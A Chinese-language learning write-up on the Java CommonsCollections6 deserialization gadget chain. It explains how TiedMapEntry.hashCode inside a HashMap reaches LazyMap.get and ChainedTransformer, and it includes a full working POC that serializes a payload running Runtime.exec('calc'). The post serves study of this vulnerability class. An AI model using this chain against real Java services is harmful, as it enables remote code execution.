JAVA安全之CommonsCollections6
CommonsCollections6
引入:CC6其实就是我们为了适应在JDK8u65之后,我们代理类中的this.memberValues被替换为了linkedhashmap,不是先前设置的lazymap,这就导致无法在调用AnnotationInvocationHandler触发lazymap.get
目标:找到高版本中能够通过链式调用来完成我们的lazymap.get的调用。
回顾CC1:
- 我们在transFormap类里面是去利用ChaniedTransformer类的Transform方法,利用AnnotationInvocationHandler中的for循环来遍历数组,并且利用memberValues.entryset()中
- 利用lazyMap.get里面的transform方法,这个是利用动态代理AnnotationInvocationHandler来实现的。
环境:
JDK8u71
commons collections 小于等于3.2.1
分析(POC分析)
我们已经知道我们的AnnotationInvocationHandler因为版本问题不能实现之前直接的lazymap的调用

在这里我们IDEA就有个小Bug,就是我们的环境虽然变了但是我们的计算机还是能弹出来,这就是灵异事件;

在8u65的环境中this.memberValue实际上是我们的LazyMap,这里替换了之后,就不能设置键值了,所以我们得找到其他的类来实现get方法的调用(不能使用动态代理了)
TiedMapEntry
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getValue() {
return this.map.get(this.key);
}
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
这三段代码实际上就阐述了TiedMapEntry这条调用链的思路,通过触发hashcode来触发get方法,然后触发transform方法
简单测试代码
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), ct);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");
tiedMapEntry.hashCode();
}

知道了如何能够RCE之后,就来联系能够触发hashcode方法
HashMap
熟悉的hashmap,我们在学URLDNS这条链子的时候就知道了,这里实际上是通过触发readObject里面的putVal方法进而触发hash里面的hashcode方法
putVal(hash(key), key, value, false, false)
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里值得我们注意的是,这个key的值需要满足非空条件
K key = (K) s.readObject();这个key是反序列化之后的数据,我们需要在序列化之前写入我们的数据
这里就会使用到put方法写入数据,在序列化之前写入数据,让key值不为null
但是这里会出现一个新的问题,就是会在序列化之前触发我们的putval方法

这里的思路就是,先让put方法写入key的值,然后再通过反射修改transform对象
使用put方法触发RCE

成功触发,但是问题如何解决。
反射修改factory的值
我们为了避免触发我们的transform,所以我们使用反射修改
Class<LazyMap> lazyMapClass=LazyMap.class;
Field factoryFiled=lazyMapClass.getDeclaredField("factory");
factoryFiled.setAccessible(true);
factoryFiled.set(lazymap,ct);
这里我们成功通过反射修改了值,但是我们的RCE不触发了。
我们思考一下这条链子的核心是什么,实际上就是我们来触发get方法,既然不能RCE,说明这里实际上有一步出现了错误,我们一一排查之后就会发现

这一步下断点的时候不会直接执行transform方法,因为这里的key值是为key的。
所以最后一步就是直接移除掉这个多余的值。
lazymap.remove("key");
思考:为什么不一开始就直接不要key值呢?
完整POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
hashMap.put(tiedMapEntry, "value");
lazymap.remove("key");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryFiled = lazyMapClass.getDeclaredField("factory");
factoryFiled.setAccessible(true);
factoryFiled.set(lazymap, ct);
serial(hashMap);
unserial();
}
public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
out.writeObject(obj);
}
public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc6.bin"));
in.readObject();
}
}

浙公网安备 33010602011771号